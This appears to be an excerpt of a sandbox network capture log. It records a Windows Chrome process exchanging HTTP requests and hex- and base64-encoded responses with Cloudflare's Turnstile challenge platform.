2024-04-23 19:53:46 UTC	699	IN	Data Raw: 32 62 34 0d 0a 5a 45 35 4e 68 32 36 4b 63 6b 31 7a 65 58 4a 65 64 58 69 51 62 5a 56 34 64 4a 65 68 6f 61 61 62 70 61 61 69 5a 36 61 71 68 58 79 78 6c 48 4b 43 6b 71 36 4c 64 61 57 63 6d 33 61 74 67 4a 47 4c 6d 35 4b 66 77 4b 4f 43 6f 36 61 32 78 37 2b 64 73 4b 79 69 70 61 6d 67 71 71 79 76 79 4d 2f 52 6d 62 44 48 79 61 69 33 6f 4b 4b 69 7a 35 32 33 73 63 44 6f 74 61 72 44 70 65 76 46 71 65 71 2b 34 63 4c 74 38 4e 50 49 77 37 6a 32 35 73 6a 39 76 4e 6a 34 30 4d 37 63 34 74 66 64 2b 4f 6a 56 36 74 76 39 2f 4f 37 4d 38 2f 4c 7a 43 2b 73 45 39 67 37 72 42 76 67 52 39 4f 6b 41 41 42 49 4f 41 52 6e 65 41 77 6b 64 48 68 77 4e 36 52 38 62 37 67 63 47 4c 2b 73 4c 38 41 7a 34 4f 6a 51 33 2b 67 67 4c 43 43 41 35 4f 69 4e 42 4d 44 66 2b 4d 52 6c 4c 49 68 6b 64 52 6a Data Ascii: 2b4ZE5Nh26Kck1zeXJedXiQbZV4dJehoaabpaaiZ6aqhXyxlHKCkq6LdaWcm3atgJGLm5KfwKOCo6a2x7+dsKyipamgqqyvyM/RmbDHyai3oKKiz523scDotarDpevFqeq+4cLt8NPIw7j25sj9vNj40M7c4tfd+OjV6tv9/O7M8/LzC+sE9g7rBvgR9OkAABIOARneAwkdHhwN6R8b7gcGL+sL8Az4OjQ3+ggLCCA5OiNBMDf+MRlLIhkdRj
2024-04-23 19:53:46 UTC	1369	IN	Data Raw: 31 37 31 36 0d 0a 62 49 31 79 6e 6c 75 4d 6f 48 31 67 6d 5a 36 53 6e 49 64 68 71 70 68 33 69 71 4f 4d 69 4b 47 67 72 59 2b 72 73 61 69 61 69 34 2b 64 6c 4c 4b 51 69 35 2b 41 74 72 75 59 70 4c 2b 46 70 4c 53 59 7a 4c 65 66 72 4c 48 48 79 61 69 50 72 38 7a 51 72 35 66 59 30 61 79 65 79 39 75 30 30 4e 50 64 72 64 6a 59 6f 4e 61 31 36 4b 79 32 71 36 6d 36 79 38 2f 64 39 63 4c 6a 32 4d 44 31 7a 62 6d 33 7a 4d 66 33 38 51 49 45 32 50 6e 32 43 4e 7a 6f 42 73 45 47 44 75 66 4b 79 76 44 73 45 2b 66 50 42 77 50 67 7a 76 54 6b 37 4f 55 50 39 4f 33 75 2f 50 7a 76 48 52 66 59 2b 43 51 46 47 2f 4d 75 48 79 73 46 35 77 30 7a 43 68 55 6e 49 77 45 6d 46 51 55 4f 4c 43 38 56 44 54 55 67 2f 55 4a 43 50 78 4d 57 51 51 55 45 4e 42 74 47 4b 67 59 37 54 79 30 6a 54 44 55 31 57 Data Ascii: 1716bI1ynluMoH1gmZ6SnIdhqph3iqOMiKGgrY+rsaiai4+dlLKQi5+AtruYpL+FpLSYzLefrLHHyaiPr8zQr5fY0ayey9u00NPdrdjYoNa16Ky2q6m6y8/d9cLj2MD1zbm3zMf38QIE2Pn2CNzoBsEGDufKyvDsE+fPBwPgzvTk7OUP9O3u/PzvHRfY+CQFG/MuHysF5w0zChUnIwEmFQUOLC8VDTUg/UJCPxMWQQUENBtGKgY7Ty0jTDU1W
2024-04-23 19:53:46 UTC	1369	IN	Data Raw: 56 55 70 46 62 6e 4a 42 6c 63 70 78 61 59 34 53 59 64 4b 71 44 6e 57 61 43 6d 33 36 56 6b 6e 61 43 6a 4c 4b 47 63 6e 4b 57 72 72 65 57 69 6e 53 79 78 62 4b 43 6c 62 43 48 6c 72 61 67 75 71 2b 47 69 4b 6a 4a 72 64 57 39 78 4d 61 77 73 38 6e 46 74 59 2f 63 6c 38 36 39 76 4b 44 42 70 61 2b 39 74 73 4b 6d 76 36 6a 6d 32 4c 75 2f 38 4d 7a 55 76 63 72 52 74 76 62 79 34 75 2f 32 36 64 66 75 39 74 37 53 7a 66 37 43 77 77 51 4a 2b 72 7a 68 35 2b 50 4b 2b 2b 2f 6e 7a 63 55 4b 44 42 6a 57 47 67 72 58 42 68 37 33 36 76 54 7a 39 79 54 56 47 76 6b 6f 32 52 6f 47 35 78 59 75 42 44 41 77 4d 75 67 7a 49 51 6b 48 48 77 34 72 45 53 77 79 4f 53 37 30 2f 41 41 64 4e 43 38 69 4d 43 55 5a 41 51 41 7a 50 44 5a 4e 43 43 74 50 44 54 73 6b 48 78 35 41 4a 46 52 51 52 45 56 4e 53 46 Data Ascii: VUpFbnJBlcpxaY4SYdKqDnWaCm36VknaCjLKGcnKWrreWinSyxbKClbCHlraguq+GiKjJrdW9xMaws8nFtY/cl869vKDBpa+9tsKmv6jm2Lu/8MzUvcrRtvby4u/26dfu9t7Szf7CwwQJ+rzh5+PK++/nzcUKDBjWGgrXBh736vTz9yTVGvko2RoG5xYuBDAwMugzIQkHHw4rESwyOS70/AAdNC8iMCUZAQAzPDZNCCtPDTskHx5AJFRQREVNSF
2024-04-23 19:53:46 UTC	1369	IN	Data Raw: 63 31 6c 35 5a 4a 64 70 6e 34 36 50 6e 33 2b 73 61 58 2b 6b 6a 47 79 4d 64 6d 74 31 74 35 75 52 65 70 57 55 6f 4a 4b 6b 6f 70 65 50 6f 73 53 35 6b 36 58 4a 6e 34 69 61 7a 61 69 50 77 36 61 69 6f 38 69 34 74 37 4f 33 75 4e 75 33 7a 4c 54 66 74 37 32 62 6e 72 75 7a 31 61 6d 70 36 63 53 74 79 72 37 52 7a 4e 44 6d 31 64 54 4f 34 37 44 4b 37 50 57 34 38 4e 54 76 7a 4e 6e 4d 41 39 44 35 31 2b 41 48 2f 64 6e 6b 37 4e 76 49 79 39 2f 77 46 4d 7a 55 35 4f 76 50 79 68 44 79 37 77 67 64 44 39 76 62 41 2b 73 51 45 66 66 37 2f 52 55 67 46 51 55 73 39 77 6a 6d 41 67 49 4c 35 66 49 75 4b 7a 49 6b 37 79 6b 78 2f 44 49 58 44 76 73 43 46 76 37 39 2f 51 4e 49 47 69 51 72 4c 45 68 46 44 68 6b 4e 49 44 45 68 4d 31 64 54 49 31 41 70 45 79 31 4e 53 7a 31 4a 4c 52 30 5a 54 42 77 Data Ascii: c1l5ZJdpn46Pn3+saX+kjGyMdmt1t5uRepWUoJKkopePosS5k6XJn4iazaiPw6aio8i4t7O3uNu3zLTft72bnruz1amp6cStyr7RzNDm1dTO47DK7PW48NTvzNnMA9D51+AH/dnk7NvIy9/wFMzU5OvPyhDy7wgdD9vbA+sQEff7/RUgFQUs9wjmAgIL5fIuKzIk7ykx/DIXDvsCFv79/QNIGiQrLEhFDhkNIDEhM1dTI1ApEy1NSz1JLR0ZTBw
2024-04-23 19:53:46 UTC	1369	IN	Data Raw: 61 43 66 6d 35 46 38 6b 59 4e 74 70 58 47 46 71 34 36 48 6a 5a 71 56 64 34 75 4d 77 71 75 57 66 58 36 46 6e 4c 32 71 77 5a 53 6f 71 5a 72 41 70 34 2b 68 76 4b 79 6a 72 38 4f 70 30 63 71 30 6d 4b 75 33 34 4a 79 79 75 71 32 6b 73 4b 53 35 75 36 53 68 6e 65 48 4e 71 61 2b 37 78 66 4f 7a 7a 2b 79 76 78 4d 50 31 72 4d 37 50 33 50 58 50 33 75 48 65 37 65 33 63 31 65 58 31 78 2f 62 57 78 38 66 4c 79 4d 33 39 35 39 34 49 30 64 49 4b 31 52 58 70 30 66 54 55 46 76 6f 54 31 79 41 65 46 76 6b 55 43 65 63 62 48 51 49 57 42 53 72 36 47 67 59 77 49 67 66 75 2f 6a 55 69 45 44 41 4f 45 43 30 53 4b 66 6f 58 4a 41 30 50 4e 68 41 66 4e 42 77 46 4c 45 6f 34 54 7a 38 51 48 6b 55 69 51 45 41 74 52 52 6c 4d 4d 30 70 49 48 53 30 67 49 53 35 45 4e 6a 64 46 52 6a 73 62 58 44 52 49 Data Ascii: aCfm5F8kYNtpXGFq46HjZqVd4uMwquWfX6FnL2qwZSoqZrAp4+hvKyjr8Op0cq0mKu34Jyyuq2ksKS5u6ShneHNqa+7xfOzz+yvxMP1rM7P3PXP3uHe7e3c1eX1x/bWx8fLyM39594I0dIK1RXp0fTUFvoT1yAeFvkUCecbHQIWBSr6GgYwIgfu/jUiEDAOEC0SKfoXJA0PNhAfNBwFLEo4Tz8QHkUiQEAtRRlMM0pIHS0gIS5ENjdFRjsbXDRI
2024-04-23 19:53:46 UTC	442	IN	Data Raw: 75 47 6b 36 43 6e 69 48 69 4d 6c 72 5a 38 6d 4a 36 58 69 72 43 44 6f 6f 47 78 68 37 43 4a 68 63 53 58 78 34 79 6e 72 39 47 49 71 38 58 57 6a 4e 54 5a 6d 62 48 63 6d 74 75 6e 7a 4c 4f 68 72 4c 71 37 6c 35 79 2b 6f 4c 69 79 33 4b 75 37 78 65 79 34 76 72 48 77 71 38 57 31 72 62 61 34 73 4e 66 6d 7a 74 58 39 33 4c 2f 4c 7a 73 49 45 78 74 2f 78 78 65 50 42 78 77 62 6c 45 65 77 53 35 67 55 44 46 75 2f 76 39 4d 76 79 35 74 76 56 38 68 48 77 33 50 59 56 32 79 62 37 38 77 58 31 41 68 33 33 36 66 59 74 43 44 4c 6b 49 65 77 46 44 42 4d 4a 4f 68 45 48 44 66 30 55 51 52 49 50 2b 45 41 2f 2b 78 41 69 41 45 55 67 50 53 6b 41 4a 78 73 51 48 69 59 75 44 41 38 73 4d 78 42 58 4c 6c 30 5a 4a 6a 59 57 48 46 30 32 50 30 55 65 50 6b 49 6f 61 30 4a 63 5a 32 64 45 59 55 30 79 52 Data Ascii: uGk6CniHiMlrZ8mJ6XirCDooGxh7CJhcSXx4ynr9GIq8XWjNTZmbHcmtunzLOhrLq7l5y+oLiy3Ku7xey4vrHwq8W1rba4sNfmztX93L/LzsIExt/xxePBxwblEewS5gUDFu/v9Mvy5tvV8hHw3PYV2yb78wX1Ah336fYtCDLkIewFDBMJOhEHDf0UQRIP+EA/+xAiAEUgPSkAJxsQHiYuDA8sMxBXLl0ZJjYWHF02P0UePkIoa0JcZ2dEYU0yR
2024-04-23 19:53:46 UTC	1369	IN	Data Raw: 65 33 32 0d 0a 44 52 2f 74 33 43 74 51 50 59 78 74 44 66 34 4d 44 66 34 38 6e 57 35 39 76 50 45 64 50 73 2f 74 4c 77 46 2b 55 54 35 50 66 55 37 74 55 66 43 39 37 67 2b 79 54 78 37 79 55 54 4c 41 50 69 36 4f 41 45 2b 78 4c 75 42 7a 58 73 41 41 73 42 45 77 4d 4f 4f 43 39 41 38 53 34 41 41 77 30 51 2f 42 54 35 4e 6b 73 49 43 53 51 4e 48 51 49 39 51 78 49 63 55 79 59 4e 49 44 51 56 57 6a 4e 65 50 68 73 31 4b 31 77 73 50 55 46 43 49 7a 31 71 50 6d 67 2f 52 54 70 70 4f 54 30 36 61 79 31 4d 54 54 4d 75 64 6a 46 48 55 31 56 64 4f 7a 5a 59 65 33 6b 36 67 32 39 44 52 57 43 49 56 6c 52 2b 54 55 68 6a 67 6f 52 54 61 58 43 48 6b 47 42 7a 55 5a 5a 78 65 46 6d 65 64 35 39 37 61 33 61 67 6c 36 68 61 6c 6d 68 72 64 58 68 6c 66 47 4b 65 73 33 42 78 6a 48 57 46 61 71 57 72 Data Ascii: e32DR/t3CtQPYxtDf4MDf48nW59vPEdPs/tLwF+UT5PfU7tUfC97g+yTx7yUTLAPi6OAE+xLuBzXsAAsBEwMOOC9A8S4AAw0Q/BT5NksICSQNHQI9QxIcUyYNIDQVWjNePhs1K1wsPUFCIz1qPmg/RTppOT06ay1MTTMudjFHU1VdOzZYe3k6g29DRWCIVlR+TUhjgoRTaXCHkGBzUZZxeFmed597a3agl6halmhrdXhlfGKes3BxjHWFaqWr
2024-04-23 19:53:46 UTC	1369	IN	Data Raw: 79 2b 32 4e 37 41 41 39 33 54 42 4d 58 68 31 73 7a 4b 34 78 4c 78 45 4f 59 47 35 64 54 73 38 2f 58 53 38 65 63 49 31 66 58 37 44 43 50 35 4a 76 33 64 2f 66 50 35 35 76 34 64 36 4f 63 47 44 43 7a 72 43 67 2f 77 4f 41 30 45 43 76 45 53 43 42 62 36 46 6b 49 69 2f 52 63 32 49 67 41 62 53 6a 77 48 48 7a 34 75 44 53 56 43 4c 6b 38 6f 52 6a 5a 55 4c 69 51 79 46 54 46 65 57 42 67 7a 55 53 45 62 4f 55 42 43 49 44 31 71 4f 69 52 43 62 6d 41 6f 52 54 78 4b 4c 55 70 51 55 6a 4a 4d 61 6d 51 35 55 6c 68 53 66 31 56 62 50 59 4e 5a 59 48 42 43 58 56 53 45 52 32 46 59 66 45 6c 6b 6b 56 47 54 5a 34 61 49 55 47 36 61 6a 4a 68 79 65 49 68 61 64 61 4b 55 70 48 6d 57 68 6d 56 2b 64 4a 79 72 66 35 36 47 61 6f 57 78 63 57 32 4a 74 72 42 79 6a 6f 53 4f 75 35 47 49 6d 73 43 56 6a Data Ascii: y+2N7AA93TBMXh1szK4xLxEOYG5dTs8/XS8ecI1fX7DCP5Jv3d/fP55v4d6OcGDCzrCg/wOA0ECvESCBb6FkIi/Rc2IgAbSjwHHz4uDSVCLk8oRjZULiQyFTFeWBgzUSEbOUBCID1qOiRCbmAoRTxKLUpQUjJMamQ5UlhSf1VbPYNZYHBCXVSER2FYfElkkVGTZ4aIUG6ajJhyeIhadaKUpHmWhmV+dJyrf56GaoWxcW2JtrByjoSOu5GImsCVj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49758	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:47 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/693555097:1713899458:awaYsz5cS08XnYE1eWdisJAHNg9uYwgpGaBpyil3TXY/879066af2d254527/783a92b798bfbc6 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:47 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Tue, 23 Apr 2024 19:53:47 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: ty6Pp7iucPwW9WaYAUT/8Q==$HEm4PU0o1OTb+P1E56J3pA== Server: cloudflare CF-RAY: 879066d9781b4505-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:53:47 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49759	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:04 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/693555097:1713899458:awaYsz5cS08XnYE1eWdisJAHNg9uYwgpGaBpyil3TXY/879066af2d254527/783a92b798bfbc6 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31748 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 783a92b798bfbc6 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:54:04 UTC	16384	OUT	Data Raw: 76 5f 38 37 39 30 36 36 61 66 32 64 32 35 34 35 32 37 3d 4f 4d 44 6e 69 53 79 45 61 31 49 6f 44 53 78 4d 30 6a 72 41 33 4b 2d 45 6b 71 79 72 6b 52 6e 75 49 6b 38 48 6b 37 6e 53 4d 6b 4a 56 6b 42 53 6b 72 4b 6e 79 71 6b 51 6e 2d 61 72 30 6b 24 6e 62 54 49 79 67 30 6b 30 6c 30 44 4b 6e 6e 79 4a 6b 31 54 6b 46 6b 46 68 79 79 69 41 6b 38 4b 79 46 66 6b 4c 75 63 44 6b 7a 6e 53 45 49 68 39 2d 35 71 6b 35 32 4e 4a 61 35 6b 64 4b 79 6f 6b 24 54 72 4a 79 57 31 6b 6b 41 33 6b 4f 61 6e 57 41 71 4b 79 73 53 35 44 6d 6b 62 32 68 71 24 48 37 6b 4c 33 54 6e 79 41 4b 78 41 69 61 37 79 6e 54 54 6f 44 31 41 38 2d 6f 64 4a 45 57 31 6e 6b 4f 41 4b 6b 4c 58 62 53 49 44 32 6a 6b 41 6d 25 32 62 48 30 30 56 35 58 67 73 53 78 73 31 31 35 4c 4f 51 43 6a 51 45 42 68 6e 6b 52 66 51 Data Ascii: v_879066af2d254527=OMDniSyEa1IoDSxM0jrA3K-EkqyrkRnuIk8Hk7nSMkJVkBSkrKnyqkQn-ar0k$nbTIyg0k0l0DKnnyJk1TkFkFhyyiAk8KyFfkLucDkznSEIh9-5qk52NJa5kdKyok$TrJyW1kkA3kOanWAqKysS5Dmkb2hq$H7kL3TnyAKxAia7ynTToD1A8-odJEW1nkOAKkLXbSID2jkAm%2bH00V5XgsSxs115LOQCjQEBhnkRfQ
2024-04-23 19:54:04 UTC	15364	OUT	Data Raw: 56 79 24 72 6b 72 67 78 58 76 2b 4b 37 6e 62 6b 67 6b 53 4b 79 61 6b 41 6b 35 6b 33 68 35 4d 6b 62 6b 51 4d 30 52 6b 54 6e 6c 41 2d 49 6b 47 6b 41 4b 72 49 6b 66 6b 67 6e 62 62 6b 69 62 53 4b 79 52 79 65 6b 24 4b 30 33 6b 35 6b 4f 4b 62 50 6b 6c 6b 31 6b 79 57 6e 55 54 62 54 72 41 79 75 6b 51 54 79 53 77 35 6b 58 44 53 61 6b 74 4b 67 33 71 31 79 72 6e 49 78 79 4a 6b 56 6b 34 6b 2d 66 6b 49 6e 70 49 4c 67 77 63 6b 72 54 4c 49 4e 72 6e 41 6e 30 32 61 57 6b 45 54 53 31 6b 49 6e 31 6e 6b 41 79 34 6b 30 44 79 6c 79 38 6b 38 54 72 6e 6b 67 6b 70 49 30 49 79 4e 6b 30 44 6b 41 79 66 6b 6f 33 6b 78 79 6c 6e 34 6e 4c 34 79 4a 6b 45 43 7a 52 79 6f 6b 62 45 6b 33 6a 65 4b 75 4b 79 46 79 4d 6e 49 78 79 46 79 46 6b 6c 41 6b 78 79 38 6b 4c 62 2d 33 72 6c 6b 78 54 6b 69 Data Ascii: Vy$rkrgxXv+K7nbkgkSKyakAk5k3h5MkbkQM0RkTnlA-IkGkAKrIkfkgnbbkibSKyRyek$K03k5kOKbPklk1kyWnUTbTrAyukQTySw5kXDSaktKg3q1yrnIxyJkVk4k-fkInpILgwckrTLINrnAn02aWkETS1kIn1nkAy4k0Dyly8k8TrnkgkpI0IyNk0DkAyfko3kxyln4nL4yJkECzRyokbEk3jeKuKyFyMnIxyFyFklAkxy8kLb-3rlkxTki
2024-04-23 19:54:04 UTC	1246	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out-s: F+otpFMINQfeNM7XFucqU+OYAQAhCDrFhzLXHr4u2eHC56n7a0bMq0WM9FtBLsOJyOfIKJ4fAN4NwDooJTXzLz+lLM5UyMW3YvjsCqVIprXeGgxKAImkPPwRh20r4Fp6QWCSb4soUNbke7KVQxauRe2zUN0Uo7Fh6rc8wd/x8+SyTM3FbFYa6rzeGmCOAJGPwFAfAKZvPKpONpJoRuzgv6kNYU1zrsZ5Xqe/PTFMPlb+gXvoDAw/a/eehGEbFchkKdmIgx/zCT3CCrzr0b+sGKyopTO+MB/epr/zGaldhxAKrKfhhIbkuDI3y71CRJ6OJSgI6zYIAyfc2BDOP2Rzywan2jPgGPhUZv7ih0rLTkKYyZqvTjTw0ZMQKxP5HfN3LjSebzXM3SWbqWsY0Tvg3J+bovgLM2IPVROvBGS18CFMSVR5eVindjKM0NWZ8tbZGip6pQs3bxjaAVeZYmxe7p8xveUFp8bvRTWsQsCaZCMrB/5YEEi81y52WfcKXcqT2KhKImAAK3yPKYykkPSjxQhB51irgAOSyvBLPb5cSKeLNQDY2crN0s1OKLNHN6n1qlx+M2EAtwEBILdyPuaBBL+2mafpIS39EW5wDem7mJFKyvNcA7ztbuXH4DhV2DkMduoji3xd3z/GnsCWuOjGqvjBbX0YR10ktgGhWy0iY1mfLNquApsXMBedNsb52qLh5ETvTCDkyQXK6QjBOBBL/j5lXaoXTLsvbHaAZusTyEmkxMQxJDhbXUJx1vUHVfA2h7M7Y3bHx+gfgHZlCpb8yQ==$yz27pH3qrnQPVcD1DMxhpg== cf-chl-out: 2XHEdEP8arC8TT2m+F007Nf4gHPCWZQIWdKrWJ7XGn5DmsvhA8zK94NHRFdgK2YcgEPJuV4zl5qVHQj24jayCre0E4++hqSF4ZiVJgrc/IqfUmRS7ed5DnMhEIhK04Yt$oq14/owDqsOKwY9s/mI3jg== vary: accept-encoding Server: cloudflare CF-RAY: 8790673f7f2953b7-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:54:04 UTC	123	IN	Data Raw: 34 31 63 0d 0a 5a 45 35 4e 68 32 36 4b 63 6b 31 7a 65 58 4a 65 64 58 69 51 62 5a 56 34 67 58 43 69 66 46 79 6c 70 6d 74 6d 59 59 68 6f 71 57 75 53 6b 71 32 4d 6f 59 78 34 67 35 4f 4b 6c 33 75 65 74 71 50 45 6f 72 71 6e 78 72 47 6d 77 63 4f 38 72 61 32 64 73 4b 79 69 70 71 53 75 6c 71 69 77 73 70 57 31 6d 4c 50 4f 6d 4a 71 34 6f 4e 75 75 76 4b 43 6b 6e 72 2b 6b 34 61 Data Ascii: 41cZE5Nh26Kck1zeXJedXiQbZV4gXCifFylpmtmYYhoqWuSkq2MoYx4g5OKl3uetqPEorqnxrGmwcO8ra2dsKyipqSulqiwspW1mLPOmJq4oNuuvKCknr+k4a
2024-04-23 19:54:04 UTC	936	IN	Data Raw: 4c 48 71 61 6e 4f 35 38 2f 73 34 38 58 6c 74 4f 66 69 78 50 6d 34 31 41 43 34 73 76 37 64 76 63 33 7a 33 73 44 56 36 64 73 41 36 74 76 66 36 76 72 4a 7a 76 76 30 43 52 62 78 39 4e 55 4c 42 39 72 79 37 51 2f 58 48 65 41 50 35 50 6b 6f 46 4f 49 6c 39 66 30 75 2f 75 6a 76 42 68 4d 79 4c 50 50 79 45 53 6e 71 42 52 59 34 39 51 6f 30 4b 68 63 43 4d 44 34 39 49 6a 78 48 4d 52 51 30 48 41 52 4b 54 43 49 49 54 53 4a 48 45 56 45 7a 43 6c 64 61 4a 55 52 4d 58 31 41 34 54 30 77 62 56 53 42 69 4f 43 59 37 4a 6a 70 62 4f 31 67 36 55 44 38 70 4d 6d 74 41 51 56 42 77 59 32 5a 35 54 58 70 78 56 47 70 53 64 58 35 6a 55 48 52 65 68 48 68 4b 69 57 75 4b 67 34 78 62 61 33 35 74 68 6b 35 55 59 58 6d 52 56 30 32 57 6a 56 71 50 58 34 47 42 66 4b 42 37 58 32 42 77 6d 35 57 68 6a Data Ascii: LHqanO58/s48XltOfixPm41AC4sv7dvc3z3sDV6dsA6tvf6vrJzvv0CRbx9NULB9ry7Q/XHeAP5PkoFOIl9f0u/ujvBhMyLPPyESnqBRY49Qo0KhcCMD49IjxHMRQ0HARKTCIITSJHEVEzCldaJURMX1A4T0wbVSBiOCY7JjpbO1g6UD8pMmtAQVBwY2Z5TXpxVGpSdX5jUHRehHhKiWuKg4xba35thk5UYXmRV02WjVqPX4GBfKB7X2Bwm5Whj
2024-04-23 19:54:04 UTC	1369	IN	Data Raw: 39 34 34 0d 0a 6e 49 46 6c 67 34 6d 72 73 47 6d 50 66 61 65 4d 75 58 53 79 67 34 69 56 73 6f 36 78 71 35 75 56 74 5a 48 47 6c 4b 43 49 78 33 32 58 75 37 79 6d 6d 4d 2b 65 69 63 4f 2f 74 36 76 5a 6d 4b 4b 6e 32 64 65 6d 72 4f 43 70 75 72 79 73 6f 4c 2b 78 32 4f 4f 69 75 4e 76 58 74 73 58 78 32 2b 58 45 34 38 6e 57 78 63 50 72 32 73 37 46 38 2f 44 55 41 4e 6d 2f 30 64 2f 76 77 4e 54 35 36 64 4c 63 35 66 66 6e 33 65 6b 48 30 75 66 74 39 65 7a 73 43 50 48 58 34 2b 62 35 35 76 59 68 2b 64 54 78 37 76 6e 6a 2f 76 45 55 47 76 76 31 42 75 54 6c 35 69 44 6f 42 2f 34 4f 4e 51 30 42 45 6a 51 4a 4c 67 6e 30 43 53 34 77 46 76 6c 47 4f 45 4d 66 49 6a 51 6d 49 68 59 61 4f 43 55 64 47 69 41 65 52 6b 30 69 4a 44 4d 32 45 53 67 6d 54 44 6f 33 50 44 70 64 4d 47 5a 63 56 68 Data Ascii: 944nIFlg4mrsGmPfaeMuXSyg4iVso6xq5uVtZHGlKCIx32Xu7ymmM+eicO/t6vZmKKn2demrOCpurysoL+x2OOiuNvXtsXx2+XE48nWxcPr2s7F8/DUANm/0d/vwNT56dLc5ffn3ekH0uft9ezsCPHX4+b55vYh+dTx7vnj/vEUGvv1BuTl5iDoB/4ONQ0BEjQJLgn0CS4wFvlGOEMfIjQmIhYaOCUdGiAeRk0iJDM2ESgmTDo3PDpdMGZcVh
2024-04-23 19:54:04 UTC	1010	IN	Data Raw: 5a 33 79 45 68 6e 74 30 63 48 5a 30 73 37 71 36 65 61 65 51 64 35 6d 4c 77 72 61 4d 78 5a 43 78 67 63 53 79 67 59 6a 4b 72 4b 4b 4d 79 6f 2f 44 6a 74 47 67 74 4a 53 59 78 71 32 5a 79 4a 4f 34 34 4e 32 30 76 4b 4c 4f 33 74 32 69 34 37 54 61 36 36 4b 38 77 4b 6e 62 78 72 2b 7a 71 39 54 30 2b 4f 54 75 36 37 66 32 74 2f 4f 36 74 39 7a 30 79 77 43 2f 78 73 4f 36 39 76 7a 4b 43 2b 77 4b 36 65 7a 36 45 38 7a 47 46 39 4c 53 7a 67 6e 6e 7a 66 45 62 48 4f 67 65 38 76 4c 5a 2b 65 4d 62 35 65 67 66 4b 39 30 5a 4a 77 54 6e 35 68 77 78 38 67 73 6b 41 2b 38 45 4f 51 6b 39 2f 41 30 34 43 66 63 7a 46 52 7a 37 4e 78 34 46 48 6a 73 4b 42 45 68 44 4b 51 38 44 44 43 6c 56 44 45 51 69 46 68 6b 55 52 31 77 64 4b 54 63 66 54 43 30 61 48 32 42 6e 5a 47 6b 78 50 55 51 71 48 79 52 Data Ascii: Z3yEhnt0cHZ0s7q6eaeQd5mLwraMxZCxgcSygYjKrKKMyo/DjtGgtJSYxq2ZyJO44N20vKLO3t2i47Ta66K8wKnbxr+zq9T0+OTu67f2t/O6t9z0ywC/xsO69vzKC+wK6ez6E8zGF9LSzgnnzfEbHOge8vLZ+eMb5egfK90ZJwTn5hwx8gskA+8EOQk9/A04CfczFRz7Nx4FHjsKBEhDKQ8DDClVDEQiFhkUR1wdKTcfTC0aH2BnZGkxPUQqHyR
2024-04-23 19:54:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49761	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:04 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/693555097:1713899458:awaYsz5cS08XnYE1eWdisJAHNg9uYwgpGaBpyil3TXY/879066af2d254527/783a92b798bfbc6 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:54:04 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Tue, 23 Apr 2024 19:54:04 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: QB5Io43/selrY8//H7I7Mg==$4FZTnl/G8jORv+v21oQj0Q== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 879067436d55672d-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:54:04 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49760	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
